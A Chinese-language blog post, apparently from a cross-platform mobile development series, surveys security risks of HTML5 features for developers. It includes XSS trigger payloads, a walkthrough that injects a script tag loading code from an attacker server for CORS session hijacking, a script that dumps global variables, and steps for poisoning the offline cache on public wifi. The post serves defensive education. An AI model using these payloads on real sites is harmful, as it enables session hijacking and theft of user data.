跨平臺移動開發實戰（十二）------HTML5安全

把應用的端擴展到mobile自然而然會帶來安全的隱患，特別是對於我們基於HTML5來做跨平臺的開發更是如此。HTML5提供了很多特性，各個平臺都在努力的實現這些特性，開發者也努力地在使用這些特性，以此求得不一樣地體驗。然而，事情都有兩面性，大多數web應用的安全措施都是基於傳統的HTML，沒有覆蓋到HTML5的新特性，下面來看看由於HTML5新特性而帶來的安全隱患：

• XSS
• CORS & CSRF
• Clickjacking
• Web storage
• WebSocket
• Desktop Notifications
• Geolocation
• Offline
• Web worker
  

1）XSS

XSS（跨站腳本攻擊）這裏不想全面介紹，這是web安全中最基礎的一個問題，大多數web應用都會做XSS防範。HTML5的新特性裏提供了很多執行JS的觸發點，比如下面幾個例子：

• <video><source οnerrοr="javascript:alert(1)“>
• <input autofocus οnfοcus=alert(1)>
• <form id="test" /><button form="test" formaction="javascript:alert(1)">

這些都給攻擊者植入腳本帶來了新機會。因此，大家有必要把自己應用裏XSS防範措施再好好審查一下，有個哥們總結了一下基於HTML5可以做XSS的點，http://code.google.com/p/html5security/，大家可以參考一下。

web攻擊大多數都是組合拳，XSS是很多組合拳中必要的一步，因此，攔住了XSS，也就攔住了大半web攻擊，值得大家重視。

2）CORS & CSRF

HTML5之前有SOP（Same Origin Policy）的規範，也就是ajax不能跨域訪問，這個玩意導致很多web開發者很痛苦，以至於搞出很多跨域方案，比如JSONP和flash socket。HTML5給大家提供了方便，搞出了一個CORS（Cross Origin Resource Sharing）規範，也就是說在如果在服務端加上Access-Control-Allow-Origin: xxx，也就表示此服務端容許來自xxx的跨域訪問，這確實很方便，不過也方便了攻擊者使受害者客戶端與自己的服務端產生雙向通信，以至更方便植入更多東西，比如模擬請求來搞CSRF。下面是一個CORS攻擊的流程圖：

首先通過XSS等方法來導致受害者的客戶端向你的服務器發送Ajax請求，只要你的返回的head裏Access-Control-Allow-Origin包含當前客戶端的訪問的域名，你就可以對客戶端返回，然後，你就可以把你想要客戶端執行的操作返回給客戶端，使其執行，這樣你就可以以受害者的身份做你想做的事情。http://www.andlabs.org/tools/sotf/sotf.html這篇文章裏介紹了一個方便實施CORS攻擊的工具，通過使用這個工具，能更直觀感受攻擊的全過程：

1. 下載並啓動attacker server

2. 在受攻擊的網站裏植入腳本，這裏使用了一個demo網站，並直接在seach裏搜索：<script src="http://127.0.0.1:8080/e2.js"></script>，值其載入e2.js並執行

3. 啓動攻擊console(http://127.0.0.1:8080/sotf.console,注意8080是第一步裏配置的，並且此瀏覽器需要把代理設置爲127.0.0.1：1337，1337也是第一步裏配置的)：

點擊‘Hijack Session’後顯示受害者正在訪問的網站：

這時你就成功的掛住了受害者，你可以向受害者發送你想做的操作，比如，你隨意點擊左邊的鏈接，你在受害者的瀏覽器的http請求裏能看到，瀏覽器在悄悄地重放你在console裏訪問頁面的請求：

大致看看e2.js源碼也能看出大致的流程。這是很不錯的學習案例。

3）Clickjacking

Clickjacking也是一種比較傳統的攻擊方法，也就是通過對頁面的修改欺騙用戶的眼睛，使其做了不想做的事兒，比如點擊下面的圖片：

而實際上此頁面上面還附有一個隱藏的iframe：

使得你無意識地到amazon上買了東西。這種攻擊其實是很難完成的，一是很難誘導用戶填寫一些值，二是由於SOP的限制iframe裏腳本的行爲，但HTML5的新特性又方便了實施Clickjacking。https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf詳細地介紹瞭如何基於drag特性來實施Clickjacking。

4）Web storage

HTML5提供了local storage能力，比如localstorage API和web database，如果把關鍵信息存在local storage裏，就有被竊取的可能。雖然HTML5的規範裏規定local storage只能被同域訪問，但通過XSS和Domain Name System (DNS) cache poisoning等方法就能繞開這個限制。所以不能把關鍵信息不做任何保護的形式放在local storage裏。另外，有些開發者也習慣把一些關鍵信息放在global變量裏，比如登錄密碼等，這些變量也是有被泄漏的可能，比如下面這段代碼就能遍歷所有global變量：

for(i in window){
obj=window[i];
if(obj!=null||obj!=undefined)
var type = typeof(obj);
if(type=="object"||type=="string")
{
console.log("Name:"+i)
try{
my=JSON.stringify(obj);
console.log(my)
}catch(ex){}
}
}

以此完全可以通過XSS來執行上面類似的代碼。

5) WebSocket

WebSocket是HTML5非常受人關注的特性，它提供了客戶端與服務端的雙向通信能力，這也暴露了一些安全隱患，比如：

• 暴露成後門，成爲攻擊者植入腳本的shell
• 通過客戶端做端口掃描

http://www.andlabs.org/tools/jsrecon.html是一個基於WebSocket的端口掃描器，從中可以體會到如何websocket來進行攻擊。

6）Desktop Notifications

Desktop Notifications是HTML5在右下角彈出本地消息的能力，如下圖所示：

這種本地消息極其容易誘惑用戶去點擊，所以通過這種形式，能很容易誘導用戶泄漏關鍵信息，比如：

7）Geolocation

Geolocation使得web應用能拿到客戶端地理信息，也導致攻擊者可以竊取用戶的地理信息，有了地理信息就可以做很多事情，比如：

• 發送本地化的廣告
• 跟蹤
• 售賣個人信息

8）Offline

Offline是HTML5提供的緩存靜態資源的能力，通過以下配置：

CACHE MANIFEST
/file1.html
/images/someImage.jpg
/JavaScript/script1.js

就可以緩存這三個文件，下次就直接在本地訪問。這種方式也有安全隱患，比如下面的步驟：

1. 在有無密碼保護的wifi的環境中（比如咖啡廳）裏，截取網絡通信，僞造頁面返回，比如login.html
2. 把login.html作爲cache緩存起來
3. 用戶在將來就算離開wifi環境下依然訪問的是你僞造的login.html，從而一直受你的控制

9）Web worker

Web worker是HTML5提供的多線程任務的能力，這使得攻擊者可以執行一些需要長時間運行的腳本，並且是background的，可以神不知鬼不覺。

從上面這些例子可以看出，HTML5的各種新特性確實是雙刃劍，安全隱患不止這麼一些，我們對於這些新特性的應用，需要多深層次的想想，看看有沒有安全隱患。